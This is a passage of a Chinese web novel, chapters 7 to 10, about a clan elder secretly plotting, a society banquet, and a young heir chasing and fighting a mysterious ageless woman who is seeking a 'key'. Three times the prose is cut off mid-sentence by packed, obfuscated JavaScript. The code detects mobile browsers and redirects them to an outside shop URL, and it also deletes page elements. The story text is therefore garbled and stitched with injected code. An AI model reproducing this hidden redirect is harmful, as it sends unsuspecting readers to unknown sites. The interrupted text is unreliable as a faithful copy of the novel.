那个姐姐看起来也就二十出头,比她大不了几岁,怎么就让三位有头有脸的人物这么恭敬? 她正想着,忽然感觉到一道目光落在自己身上。 她抬起头,正对上司凝玉的眼睛。 那双眼睛黑得像深不见底的潭水,没有情绪和温度,就那么看着她。 杜灵心里猛地一跳,连忙低下头去。 等她再抬起头的时候,司凝玉已经移开了目光,正在听杜太公说话。 她拍了拍胸口,长长地吐出一口气。 好可怕的眼睛。 被看一眼,她心跳都快停了。 席间,杜太公端起酒杯,恭敬地敬酒:“司小姐,这一杯,老朽敬您,祝您顺利。” 段鸿远和柳则呈也举杯。 司凝玉端起面前的酒杯,轻轻抿了一口。 酒杯里装的是果汁,杜太公特意吩咐的,说司小姐不喜欢喝酒。 “多谢。”她轻声说。 “司小姐,”段鸿远笑呵呵放下酒杯,开口问,“您这次回来,可有什么我们能帮得上忙的?段家上下,愿听差遣。” 司凝玉看了他一眼,淡淡道:“没有。” 段鸿远还想再问,柳则呈在旁边踢了他一脚。 段鸿远反应过来,连忙闭嘴。 柳则呈笑着说:“司小姐刚回来,肯定累了,有什么需要咱做的,也不急于这一时,日后再说。” 司凝玉没说话,低头吃了一口菜。 这道菜是甜口的,糖醋排骨。 她眉头微微松了些,随后又吃了一口。 杜太公看在眼里,心里记下了。 接下来的宴席,无非是些客套话。 杜太公说些场面话,段鸿远说些表忠心的,柳则呈说些圆场的话。 司凝玉偶尔嗯一声,偶尔点个头,一顿饭就这么吃完了。 从头到尾,她没提钥匙的事,也没提九盘山的事。 杜太公心里转了好几个弯,但脸上不动声色,依旧是那副恭敬的模样。 宴席散后,司凝玉起身告辞,杜太公带着众人送到门口,看着她上车离去。 车消失在夜色里,杜太公脸上的笑容慢慢敛去。 “太公?”名为阿恒的中年人凑上来。 杜太公没说话,转身往里走。 回到书房,他坐到太师椅上,闭着眼沉默了很久。 “阿恒。”他忽然开口。 “在。” “派人去九盘山。”杜太公睁开眼,目光阴沉沉的,“秘密地去,去查查,司小姐这几天在那儿做了什么。” 阿恒愣了一下:“太公,您的意思是……” 杜太公摆摆手,打断他:“别问那么多,去办。” 阿恒点头:“是。” 他转身要走,杜太公又叫住他,“等等。” 7. 第7章 找人 阿恒回头。 杜太公看着他,缓缓说:“找几个生面孔,别用杜家的人。” 他没说完,但意思很明显,若是暴露了,不能让人查到杜家头上。 阿恒神色一凛:“明白。” 他退了出去,轻轻关上门。 书房里只剩下杜太公一个人,他靠在太师椅上,看着墙上挂着的那幅古画,很久没动。 画上是一个女子,白衣胜雪,眉眼如画。她站在云海之上,衣袂飘飘,仿佛随时会乘风而去。 这是千年前,杜家先祖亲手绘下的画像。 那是第一代“司小姐”。 “没想到这么多年了,我也忘了现在是多少代了。”杜太公喃喃,忽地轻笑起来,“我们杜家跟了您上千年,每一次您醒,我们都跪着接,每一次您死,我们都跪着送。” 他顿了顿,目光变得复杂起来,多了一丝复杂的、说不清的情绪。 我们,也该有自己的谋划了。 人不为己,天诛地灭。 就让我,来做这个违背祖训誓言的大逆不道之人吧。 ...... 杜灵回到院内,兴奋地伸了个腰。 “哎哎!杜伯伯。” 她上前抓着管家的衣袖,“那个姐姐好漂亮啊!她多大了?她叫什么名字?她住在哪儿?我以后还能见到她吗?” 管家立即反应过来她口中的‘姐姐’是谁,无奈地看着她: “小姐,您别激动,那位……那位可不是一般人,您别想着去打扰人家。” “我知道我知道!”杜灵眼睛亮晶晶的,“我就是……就是觉得她好酷啊!你知道吗,她看我的时候,我心跳都停了!那种感觉,好神奇!” 管家狐疑看着她,心想杜灵竟然还去偷看了,当即扶额:“小姐,那是吓的吧……” 都吓得心脏骤停了,怎么还迷上了? “才不是!”杜灵反驳,“哎呀,反正你不懂!” 她扭头盯着方才晚宴的正厅,傻笑了一会儿。 “对了杜伯伯,”她忽然道:“明天晚上还有个晚宴,是太爷爷为我举办的,那位姐姐会来吗。” 管家看着她充满了希冀的眼神,有些于心不忍。 他伺候杜太公多年,偶尔也听说关于司小姐的事。她似乎都忙得很,像今天这样的晚宴是极少的。 管家抿了抿嘴,“也许......?” 杜灵眼睛一亮:“太好啦!我要准备最好看的裙子!明天一定要让那位姐姐再看到我!” *** 第二天,江酌一大早就被老管家从公寓里“请”了出来。 说是请,其实是押送。 “少爷,老爷吩咐了,今晚您必须去。” 江酌靠在门框上,面无表情看着眼前这阵仗。 老管家站在最前面,身后是四个保镖,一字排开,表情严肃得像在执行重大任务。 江酌看着那几人,又看了看自己身上随便套的休闲外套。 “行,我去,但好歹让我换身衣服吧?” 老管家笑容可掬:“衣服已经准备好了,您直接上车就行。” 他身后一个保镖捧着一套黑色西装上前,剪裁精致,泛着昂贵的光。 江酌被拉走捯饬了一番,再次出门上车。 男人头发往后梳,露出棱角分明的脸,黑色西装衬得肩宽腿长,整个人像是从杂志封面上走下来的。 偏生这人脸冷得很。 老管家在后面跟着,心里嘀咕,少爷这模样,整个申海也挑不出第二个来,偏偏他自己从来不当回事。 老管家上了副驾驶,回头看了一眼后座闭目养神的江酌,轻声道: “少爷,这是杜家的老太公为那位留学刚回来的小姐举办的晚宴,邀请了申海有头有脸的人物。” “杜家在申海的份量您是知道的,今晚去的都是各家的当家人和年轻一辈,老爷的意思是,您多认识些人,对以后有好处。” 江酌捏了捏眉心,“我知道了,江叔。” 语气淡淡的,听不出是真心还是敷衍。 老管家张了张嘴,想再嘱咐几句,最后还是咽了回去。 商务车很快就到了申海国际酒店。 酒店门口豪车云集,侍应生小跑着迎上来开门,红毯从门口一直铺到台阶下。 大厅里已经是衣香鬓影,觥筹交错。申海有头有脸的人物来了大半,男人们西装革履,女人们珠光宝气,三五成群地聊着天。 江酌一进门,立刻有不少人围上来,都是经常在酒局上碰面的面孔。 “江少!好久不见!” “听说您前阵子出远门了?可算回来了!” “来来来,喝一杯喝一杯!” 江酌应付着他们的热情,接过一杯香槟,抿了一口。 “哎哟江少也来了!” 一个油头粉面的年轻人凑过来和他打招呼,热情地捧哄了几句,江酌反应平淡,这样的话他这些年都听腻了。 那年轻人压低声音说,“听说今晚杜小姐也会来?” 江酌瞥他一眼:“怎么?” “没什么没什么,”那人笑得暧昧,“就是听说杜小姐长得挺漂亮的,您有福气啊。” 江酌没接话。 那人见他不接茬,一副拒人千里之外的冷脸样,讪讪笑了笑,不一会便识趣走开了。 江酌端着酒杯,往人少的地方去。 他今晚来,纯粹是给他爸面子,什么杜小姐,他一点兴趣都没有。 他的目光在人群中扫了一圈。 各路商界名流、世家子弟,认识的,不认识的,满满当当一屋子。 他独自来到调酒台前,点了一杯,摇晃着酒杯观察这一屋子形形色色的人。 接下来的半小时,江酌被各种人围住。有介绍自家女儿的,有介绍自家生意的,有套近乎的,有打听消息的。 他脸上笑着,心里却越来越烦躁。 江天威那老家伙怎么还没来。 忽然,他的目光定住了。 人群的那一头,一个白色的身影一闪而过。 江酌瞳孔一缩,几乎是本能地拨开人群,追了过去。 “江少?江少!” 身后有人在喊他,他充耳不闻,穿过人群,穿过走廊,一直追到酒店门口。 那道白色的身影已经下了台阶,正往一辆黑色的车走去。 “站住!”江酌喊了一声,追上去。 那身影顿了一下,回过头来。 江酌的脚步停住了。 是那个女人。 是那张冰冷的脸,冷漠的黑色眼眸,此刻正看着他,月光清澈,微风吹起她额前的细发,江酌的心猛然一跳。 “你——”他开口,想说很多话,却不知道从什么地方开始说。 司凝玉定定地看了他一眼,随后收回目光,转身上了车。 车门关上,黑色的轿车缓缓驶离。 江酌站在原地,看着那辆车消失在夜色里,愣了好一会儿。 等他回过神来,车已经没影了。 老管家急急忙忙追出来:“少爷,您怎么跑出来了?老爷在里面等您呢。” 江酌收回目光,“等我干什么,说好七点到,他自个迟到这么久。” 老管家气喘吁吁,“少爷,您可误会老爷了,老爷早就到了,正在里头聊天。” 江酌没说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482275|201816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转身回了酒店。 但他已经没有心思应付那些人了。 他在人群中穿梭,目光四处搜寻,想找人问问,那个女人是谁。 能来这个晚宴的都是有身份的人,肯定有人认识她。 脑中忽然灵光一闪,今天的晚宴是杜家举办的,没有杜家的许可,那女人混不进来。 所以,杜家人肯定认识她。 他急忙往杜家人所在的地方去,可这会厅突然开始播放舞曲,大伙纷纷鼓掌让出最中间的位置,优雅的音乐倾泻而出,男人女人们开始跳舞。 这就让找人更有难度了。 走到一个相对安静的角落时,江酌看见一个喝得满脸通红的男人,正靠在柱子上和人吹牛。 那男人四十来岁,身材发福,穿着一身皱巴巴的西装,领带松垮垮地挂着,一看就是喝多了。 周围围着三四个人,正满脸堆笑地捧着他。 “行啊杜老五,以前怎么不知道你手段如此了得,咱都知道那是块难啃的硬骨头,你竟然真给它拿下了......” “就是就是!”另一个人附和,“杜五哥深藏不露啊!以后有什么好生意,可别忘了兄弟们!” “对对对,杜五哥发达了可要提携提携咱们……” 杜老五被捧得飘飘然,醉醺醺的脸咧着嘴笑,正想要继续吹嘘,肩膀忽地被揽住。 “哎呀,原来你在这啊,让我一顿好找!” 江酌很是自来熟地上前,搂住杜老五肥胖的肩膀,一只手拍了拍他的肚皮,“怎么又喝这么多,说好等我一起喝呢。” 杜老五一愣。 周围那几个人也愣在原地。 满脸不可置,心想着这死胖子什么时候攀上了江家这根高枝。 “这,江少......” 杜老五在杜家不算什么人物,排行靠后,本事也一般,平时就是个跑腿打杂的。 这几个人捧他,也就是看在他姓杜的份上,想搭上杜家这条线。 可现在,江家少爷亲自过来搂着他的肩膀说话? 几个人脸上的表情精彩极了,有惊讶,有不解,有嫉妒,还有一丝后怕,刚才没说什么得罪杜老五的话吧? 江酌眼色凉凉地扫了他们一眼。 那几人身体一僵。 “那个……杜五哥,我们先去那边喝,你们聊,你们聊……”几个人讪讪笑着,快马加鞭离开。 杜老五醉眼朦胧地看着那几人走远,又看了看搭在自己肩膀上的那只手,脑子还没转过弯来。 “江……江少?”他打了个酒嗝,满嘴的酒气,“你这是……” 江酌收回手,顺势在他旁边的椅子上坐下。 他端起旁边一杯没人喝过的酒,递到杜老五手里,自己也拿起一杯,碰了一下。 “怎么,找你喝酒,不欢迎吗?” 杜老五受宠若惊,连忙双手捧着酒杯:“欢迎欢迎,当然是欢迎的!” 他灌了一大口酒,醉醺醺地瞥了江酌一眼。 江家这位少爷,什么时候跟他这么熟了?他们之前都没说过几句话吧? 江酌把那点疑惑看在眼里,脸上却不动声色,他晃了晃酒杯,看着里面琥珀色的液体,漫不经心地开口: “我刚才看上一个妞,穿白裙子的,二十来岁的模样,长得很漂亮,我听说是杜家的人,” 江酌端起酒杯又和杜老五碰了一下,“想了解一下,这妞你认识不?” 杜老五听完,先是一愣,然后嘿嘿笑起来,暧昧地挤眉弄眼。 “您说的,”他压低声音,凑近了些,“该不会是那位吧……” 江酌心里一动,面上却露出恰到好处的好奇:“哪位?” 8. 第8章 晚宴 杜老五左右看了看,确定周围没人,这才凑到他耳边,压低声音说:“那位就是咱们杜老太公都尊敬无比的司小姐,尊敬到什么程度,恨不得供起来伺候!” “供起来?”江酌晃了晃酒杯,“什么人这么大排场?我怎么从来没听说过?” 杜老五嘿嘿笑了两声,压低声音说:“江少,您年轻,不知道也正常,那位啊……那位可了不得,我偷听我爸说过几嘴,咱们杜家祖上就跟着那位了,一直到现在……” 祖上到现在? 这得多少年? 江酌心里一震,面上却笑了一声:“杜老五,你喝多了吧?这么多年过去,那不成老妖怪了?” 杜老五正想要再说点什么,就听到一道低沉的声音从背后传来: “老五!” 江酌回头,看见一个中年人快步走过来,脸上笑着,眼神却冰冷无比。 杜老五看见他,酒醒了一半,讪讪地站起来:“二哥……” 杜二哥走过来,先是对江酌点了点头,笑得客气:“江少,不好意思,老五喝多了满嘴疯话,您不要往心里去,我这就带他回去醒酒。” 他说着,一把扶住杜老五的胳膊,力道大得杜老五龇牙咧嘴。 “二哥,我……” “闭嘴!” 杜二哥压低声音,两个字像是从牙缝里挤出来的。 杜老五脸色一白,不敢再说话,乖乖跟着他走。 杜二哥临走前,眼神复杂地回头看了江酌一眼。有警惕,有审视,更多的是警告。 “江少,您慢慢喝。”他停下脚步,脸上又堆起那副客气的笑,“有什么需要,随时吩咐。” 江酌靠在椅子上,冲他举了举酒杯,笑得漫不经心:“行,杜二哥慢走。” 杜二哥扶着杜老五走了。 江酌看着他们的背影消失在人群里,脸上的笑慢慢敛去。 他端起酒杯抿了一口,脑子里在飞快地转。 那女人该不会真的是只千年老妖怪吧? 一觉醒来这世界这么魔幻了? 他压下心中的烦躁,正打算起身,胳膊忽然被人拽住。 “臭小子,跑哪儿去?”江天威的声音传来,“我满大厅找你,你倒好,躲这儿清闲?” 江酌回头,看见江天威板着的脸,脸上的表情是那种典型的“老子找你半天了”的不悦。 “刚在那边喝酒。”江酌懒洋洋地说,“怎么了?” “怎么了?”江天威瞪他,“带你过来是让你来喝酒的?跟我走!” “杜太公在那边,杜小姐也来了,你过去好好打个招呼,别摆你那张臭脸。” 江酌眉头一皱,“你不会真要给我介绍那个杜小姐吧?” 江天威头也不回:“怎么,委屈你了?” “不是委屈不委屈的问题——” “那就闭嘴。” 江酌:“……” 两人穿过人群,来到大厅东侧的一处休息区,那边围着几个人,杜太公坐在主位上,正和几个年纪相仿的老者说笑。 他身旁站着一个年轻女孩,二十岁上下的模样,长发挽成一个松散的髻,露出修长的脖颈。 她站在杜太公身边,脸上带着得体的微笑,看起来温婉又乖巧。 标准的豪门千金模样。 “天威来了!”杜太公看见他们,笑着站起身。 江天威连忙快走两步,拱手笑道:“杜老,失礼失礼,刚才被几个老朋友拉住,脱不开身。” 杜太公摆摆手,笑得慈祥:“哪里哪里,来了就好。” 他的目光落在江酌身上,上下打量了一番,眼中闪过一丝满意之色。 “这就是江酌吧?”他笑着问,“几年不见,长这么高了,一表人才啊。” 江酌扯了扯嘴角,算是笑了一下:“杜太公好。” 杜太公点点头,转头看向身边的女孩:“灵儿,来,认识一下,这是江伯伯,这是江伯伯家的少爷,江酌。” 杜灵抬起头,礼貌对江天威露出一个标准的笑,然后转向江酌。 两个人的视线在空中撞了一秒。 随后都面无表情地移开目光。 杜灵声音软糯打着招呼:“江伯伯好,江少爷好。” 江酌也点了点头:“杜小姐好。” 两个人的对话到此为止。 杜太公和江天威已经开始寒暄起来,说的都是些场面话,什么“两个孩子都这么大了”“时间过得真快”“以后多来往”之类的。 江酌懒得听这些寒暄,心中压着一堆事,打算找个无人注意的时刻开溜。 杜灵站在杜太公身边,拉了拉杜管家的衣袖,“杜叔,你看见昨晚那位姐姐了吗?” 杜管家一愣,反应过来她说的是谁,脸上闪过一丝为难。 “小姐,那位……今晚好像没来。” 杜灵心里有些失落,“哦”了一声。 她低下头,看着自己脚上的银色高跟鞋,今天特意新买的,配这条裙子刚刚好。 杜灵心里闷闷的,有点想回去换掉这条裙子。 漂亮姐姐都没来,这晚宴感觉也没啥意思。 ...... 江天威正和杜太公说着话,忽然想起什么,回头一看,身后空空如也。 那个臭小子呢? 他眉头皱了皱,目光在人群中搜寻了一圈。 没有。 他又往远处看了看,还是没有。 “天威?”杜太公的声音传来,“怎么了?” 江天威收回目光,脸上重新挂上笑容:“没什么,杜老,您刚才说到哪儿了?” 杜太公笑着继续说下去。 江天威满面笑容应和着,偷偷让江管家去找人。 这也太没礼貌了,话没说完人就不见了,那臭小子不要面子,他还要! …… 江酌早已经端着酒杯往人群中走,本打算再遛一会就走,反正今晚任务也达成了,江老头也不能说他什么。 忽地瞥见个熟悉的身影。 梁怡冰站在窗边,穿着一件深红色的礼服,正和几个女人说话。 他打了个招呼,梁怡冰也礼貌举杯。 他转身,就又看到一个熟悉又陌生的背影。 女人四十多岁,保养得很好,穿着一身墨绿色的旗袍,戴着一串珍珠项链,正和一个年轻贵妇闲聊。 那是尤慧,他母亲。 江酌淡淡收回目光,心想今晚熟人可真多。 正当他准备离开,熟悉的声音突然在背后响起:“阿酌。” 江酌回过头。 尤慧站在他面前,微笑着看着他,“听说你昨天回来了?没事吧?” “没事。”江酌礼貌道。 “那就好。”尤慧笑了笑,伸手想帮他整理一下衣领,“这几天忙,没顾上你,改天咱们吃个饭,或者你有什么想要的,直接和妈妈说。” 江酌微微侧了侧头,避开她的手。 “我什么都不缺。” 尤慧的手顿在半空,又自然地收回去。 她也不觉得尴尬,漫不经心般:“刚才和杜老五聊什么呢?聊那么开心?” 江酌心里一动,尤慧一直在观察他? 他面上却不动声色,懒洋洋地说:“没什么,那胖子喝多了,非得拉着我吹牛。” “这样啊。”尤慧笑了笑,“你刚回来,妈妈担心你,这几天有没有遇到什么奇怪的人?” 江酌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看了一会,没发现有什么特别的,随后移开视线。 很快,她敏锐地察觉到了宴会之中有几人的行为很是刻意。 那个靠窗的深红礼服的女人,就反复地与在场的另外两个动作刻意的人眼神接触,表情莫测地说了什么,随后又各自散开。 司凝玉将那三个人的脸记下来。 “一共有五个。”她轻声呢喃,目前只见到了三个。 她的目光停留在和江酌交谈的青色旗袍女人身上,她略有些疑惑,又不太确定。 “看来它们也有行动了。” 司凝玉冷冷收回视线。 不能再等了。 钥匙绝不能落到它们手中。 司凝玉看着对面酒店的大厅,注意到江酌放下酒杯,正在往外面走。 她挥挥手,一只蹲在空调外机上的麻雀歪了歪头,然后扑棱了着翅膀,飞向夜色中。 与其等待,不如主动出击。 司凝玉转身,往外走去。 ....... 晚宴酒店门口,江酌正要上车,忽然瞥见余光里有什么东西一闪。 他猛地转过头。 街道的转角处,一抹白色的身影一闪而过。 江酌瞳孔一缩。 是她! 想都没想,他拔腿就往那个方向跑去,这次不能再让她逃了,他必须问清楚! “少爷!”司机在身后喊,“少爷您去哪儿——” 9. 第9章 别动 江酌跑得飞快,夜风灌进他的领口,吹得西装下摆猎猎作响。 那道白色的身影在前面不紧不慢地走着,像是对身后的追逐毫无察觉。 但她始终保持着不远不近的距离,既不加速也不停下,仿佛在等着他跟上。 “站住!”江酌喊了一声。 那身影没理他,转过一个弯,消失在巷子尽头。 江酌咬牙追上去,拐过弯,发现是一条更窄的巷子。 两侧是老旧的居民楼,墙皮斑驳,电线杂乱地纠缠在半空,路灯昏暗,把地面照得忽明忽暗。 那道白影在前面走着,裙摆在夜风里轻轻飘动。 江酌追上去,距离越来越近。五十米,三十米,二十米—— 那道身影又转了个弯。 江酌追过去,发现自己站在一栋老旧的酒店门口。 酒店不大,但也算清爽干净,打理得整整齐齐。 那道白影已经进去了。 江酌深吸一口气,推门而入。 前台是个老头,正趴在桌上打瞌睡,感应到有人进来,他迷迷糊糊抬起头,浑浊的眼睛看了江酌一眼: “小伙子,大晚上的,要住店?” “刚才那个穿白裙子的女人,去了哪间房?”江酌问。 老头犹豫地看了他一眼,问:“什么女人?” “就刚才进来的,白裙子,长头发。”江酌耐着性子说。 老头摆摆手:“没看见啊,没人进来。” 江酌皱眉,目光扫过大厅,楼梯口在左边,电梯在旁边,门都关着。 他不再废话,掏出钱包,抽出一叠现金拍在桌上,“说实话,那女人去了哪里。” 老头的眼睛一亮,动作麻利地把钱收进抽屉,这才凑过来,神情暧昧,“那漂亮女娃刚才去了三楼,308,楼梯上去右转到底。” 江酌没空废话,转身就往楼梯走。 “哎——”老头在后面喊,“房卡!房卡你要不?” 江酌回头,接过老头扔过来的房卡,三步并作两步上了楼。 三楼很安静,地毯踩上去软绵绵的,一丝声音也没有。 江酌走到走廊尽头,在308房间门口停下。 门关着,门缝里透出一丝光亮。 他盯着那扇门,心跳忽然快了起来。 那女人就在里面。 综合目前所得的情报,她该不会真的是个千年老妖吧。 若真是这样,那他贸然闯入,那后续该怎么办?直接上前将人捆起来,再逼问那些事? 不行不行,得想个万全的法子... 正思索着,后颈笃地一痛。 眼前骤然漆黑。 ...... “哗啦——” 一盆水笃地淋在男人的脑袋上。 江酌猛地睁开眼,发现自己被绑得结结实实,双手被反绑在椅背后,绳子勒得很紧,动弹不得。 他甩了甩头上的水,目光扫过四周。 这是一间不大的房间,装修还算温馨,窗帘拉得严严实实,不过版型和窗户不太契合,留有一些缝隙,透进外面的点点夜色。 天花板上吊着一盏日光灯,把屋里照得亮堂堂。 恍惚的视线一点点偏移,就看到对面的床上坐着一个白色的身影。 女人双腿交叠坐着,浑身散发着一股优雅的气息,像一尊被供奉在庙堂里的雕像。她怀里抱着一只黑色的肥猫,正冷冷地看着他。 那猫也打量他,琥珀色的眼睛眯成一条缝,尾巴慢悠悠地甩,打了个无声的哈欠。 江酌脑子骤然清醒,“你想干什么?” 这句话里面包含了很多个问题,他都想弄清楚。 司凝玉脸色很淡,没回答他的问题,径直说:“你有很多处房产私宅,这几天你都去了那些?” 江酌语气淡淡,“怎么,我昨天带着冰魄那两人将祖宅都逛遍了,他们表情很不好看,那是没找到?” 司凝玉点头,“没找到。” 江酌嗤笑了声,“我最常去的就是祖宅,那都没有,别的地方更不可能有了。” 司凝玉慢悠悠站起身,居高临下看着他,“你一定接触过钥匙,只要你将所有去过的地方、接触过的东西说出来,我们自然能顺藤摸瓜找到。” 江酌拧眉,“我是人,也会遗忘,就算是神仙也不能事无巨细地都记住吧,你想让我帮你找钥匙,好歹得告诉我它长什么样吧。” 司凝玉闻言,破天荒做了解释,“‘钥匙’不一定就是世俗常见的钥匙,它有可能是任何东西。大到一座山,小到一粒尘埃,都有可能。” “而我要找的这个‘钥匙’,很重要,这么多年也只有你身上有一丝它的气息。” 她停下来,精致瓷白的脸往他面前一凑,淡漠开口道:“你仔细想想,将这几天接触过的所有东西说出来。” 江酌听完她这番话,脑子里飞快地转。 真是难得,第一次听到这女人说这么多字。 不过这也他也更加印证了心中的猜想,这女人很有可能真的是千年老妖。 不然她一个看起来不过二十出头的人,怎么会说出“这么多年”这种话? 这也就能解释得通为什么这人目空一切,根本不把任何人放在眼里,还有杜家为什么对她这么忌惮恭敬。 江酌在心中过了千重思虑,又换上一副笑脸,他晃了晃被绑着的手,“你能不能先把我放开?绑着说话多难受,我又跑不了。” 司凝玉怀中的那只黑猫眯了眯眼,对着他龇牙咧嘴。 奇怪,竟然在一只猫身上看到了警惕。 江酌继续道:“你看,我都被你绑成这样了,还能干什么?就是想挠挠痒都做不到,你让我好好想想这几天接触过什么,总得让我舒服点吧?” 司凝玉淡淡开口:“你说,我听。” 这是不能松绑的意思。 江酌心中暗骂一句,面上却还是那副笑:“行行行,你说什么就是什么。” 他靠在椅背上,做出认真回忆的样子。 暗中活动了下手腕,袖子里藏着几样小玩意儿,还有一枚刀片。 刀片的位置在右手袖口,他慢慢活动手腕,让刀片滑到掌心。 这些动作都是在身后完成,从前面看不出来。 窗外,一只麻雀和黑夜几乎融为一体,蹲在窗台上静静看着屋里的一切,包括江酌的动作。 司凝玉扭了扭手腕,“怎么,想起来了?” “啊、啊对。”江酌动作一停,“是有点想起来了。” “除去那些公共场合,我这那些天还去了几个地方落脚,收到了一些乱七八糟的礼盒,什么东西都有....” 他想起司凝玉说‘钥匙’有可能是任何东西。 “我也不太确定,不过那些东西大部分都很平常,满大街都是,看着也不像你口中的钥匙。” 正说着,忽然感觉手里的绳子松了一截。 江酌不动声色,继续刚才的话题,“也只有这些了,我生活平淡如水,没什么特别的,总不能将那些路上踹过的阿猫阿狗也一起抓过来吧?” 司凝玉像是在思考,“你那几个落脚的地方,说出来。” 江酌微微一笑,“云顶天宫,要是你能进去,我不介意带你逛一逛。” 那里的安保系统做的很好,没有指令的擅闯者会触发报警系统以及机关陷阱,想要抓住闯入者,江酌对自己布下的装置很有信心。 他保持着原来的姿势,手腕松松地搭在椅背后,刀片已经滑回袖口藏好。 轻佻地挑了下眉:“怎么样,要去吗?不忙的话,今晚怎么样?” 司凝玉眉头微皱,神色淡漠地看向他。 下一秒,江酌猛地从椅子上弹起来,整个人往她身上扑去—— 他动作快,但司凝玉的反应更快。 司凝玉几乎是下一秒就侧身避开,江酌扑了个空,立即稳住身形,反手就是一掌,直奔女人面门。 司凝玉抬手格挡。 两人的手臂撞在一起,江酌只觉得像是撞上了一根铁棍,反震的力道震得他虎口发麻,整条手臂都麻了一瞬。 他皱起眉头。 差点忘了这是千年老妖怪,和普通人不一样。 江酌的招式出得很憋屈,他每一招出去,司凝玉都好像提前知道他要往哪儿打,招式全都落空,全都被她轻飘飘地躲开。 江酌低骂一声,攻势更猛。 他从小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482277|201816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就学各种防身术,长大了之后又在国外混了几年,跟地下拳场的人打过不少交道,手上是有真功夫的。 一般人,他几下就能放倒。 但这女人…… 十几招过去,他连她的衣角都没碰到。 江酌果断换了路子,不再正面硬刚,而是虚晃一招,往她身侧绕去,想从侧面制住她的手臂。 司凝玉果然侧身闪避,露出后颈。 江酌眼尖,在那电光火石的瞬间,看清了她脖子后面的东西。 青灰色的线条从衣领下蜿蜒而上,缠绕在一起,繁复精致,像某种古老的图腾,隐约能看出是一条蛇的形状,盘旋而上,缠绕着一根柱子。 这是什么东西? 他还没来得及细看,这一瞬间的分神已经让司凝玉找到破绽,随即一个肘击过来。 那一下看着轻飘飘的,但撞在他胸口的时候,江酌只觉得五脏六腑都震了一下。 他整个人往后飞出去,撞在墙上,闷哼一声滑坐下来,后背火辣辣地疼。 “咳、咳咳……” 司凝玉在他面前站定,居高临下地看着他。 不知道从那里抽来一张纸巾,轻飘飘擦了手,扔在地上。 “我的脾气一向很好,是你一再挑战我的底线。” 挑战底线?他不过就是邀请她今晚去家里做客而已,这也算挑战底线?就算是打了一架,现在躺在地上的人也是他啊。 江酌抹净嘴角的血,扶着墙站起身来。 司凝玉面无表情看着他,像是猎人在玩弄股掌内的猎物,看他还能耍什么花招。 “外面什么东西闪过去了?”江酌突然抬起手,一脸神奇地看向窗外。 司凝玉疑惑,顺着他的手扭头一看。 江酌立即扑上前扣住女人的手腕,动作迅速捞起地面上的断开的绳子,长度还能用。 眼看司凝玉想反抗,他来不及多想就将人往房间正中央的那张大床扑去。 这些动作发生得太快,两人都没反应过来就已经在床上滚作一团,司凝玉伸手想换位置将人压下去,江酌又凭借着力气换回来,如此几个往复,两个人已经从床尾滚到了床头。 眼看着司凝玉眼中的怒气越来越明显,偏过身子就想起身,而旁边就是梆硬的实木床头,江酌顾不得钳制她,立即伸手往她后脑勺挡去。 “咚——!” 司凝玉只觉得脑袋隔着什么东西撞上了床头,她偏头一看,只见是江酌的手。 被撞得微微抽搐,红了一大片。 趁这个时候江酌起身回扯,将人彻底按在了身下,两个手也被死死摁住,随后无比迅速得给她套上了绳索。 “喵!!” 黑猫大叫着就要扑上来,却看到司凝玉偏过脸,示意它不要动。 黑猫一愣,随即喵喵喵地围着这张床打转,要是这个男人胆敢有任何动作,它立马就要扑上去将他撕碎! 江酌气喘吁吁将人绑好,意外发现身下的女人竟然如此安静,脸上没有多余的表情,就只是静静地看着他。 他猛然意识到现在这个姿势很奇怪,立即将下身往上抬了抬。 他不敢耽误,这女人诡计多端,等会谁被谁按住还不一定,还不如就这样,早问完早结束。 他忍不住嘲讽一句,“没想到这年头了竟然还有人被这样傻的话术给骗到,你绑我一次,我也绑你一次,咱们两清。” “我答应帮你找东西,你也回答我一些问题,如何?” 两人靠得很近,江酌甚至能看到司凝玉那双黑色的眼眸中倒映着他的面容。 她依旧没说话,江酌认定她沉默就是同意的意思。 他问出最困惑的问题:“我身上到底发生了什么。” 司凝玉闻言,微微一笑,虽然仅是非常微小的弧度,但牵动着她整个面容都柔和了不少。 江酌心中猛然一颤。 “我也送你一个礼物好了。”她说。 江酌听这没由头的话,想起他方才说的,最近收到很多莫名其妙的礼物,他蹙眉刚想询问,房门忽然被大力踹开。 一群身穿制服的人鱼贯而入,“扫黄打非!!” “床上的人别动,马上下来,双手抱头!!” 10. 第10章 身手 警车上,江酌靠在座椅上,闭着眼。 手铐凉凉的,硌得手腕有点疼。 驶过一个坑洼不平的路面,警车没有商务车的抗震能力,车后排的人就这样被猛得弹起来,脑袋差点撞上车顶。 江大少不耐烦睁开眼,“我让你们给我的管家打电话,现在还没有消息吗?” 一个年轻的安保员从副驾驶扭过头,看样子是才入警局没多久,脸上还带着那股子刚正不阿的劲儿。 他上下打量了江酌一眼,语气公事公办:“咱们办事有规定,任何情况都要到局子里再说。” “更何况你这是被扫黄打非行动抓到的,性质不同,更不能让你通风报信了。” 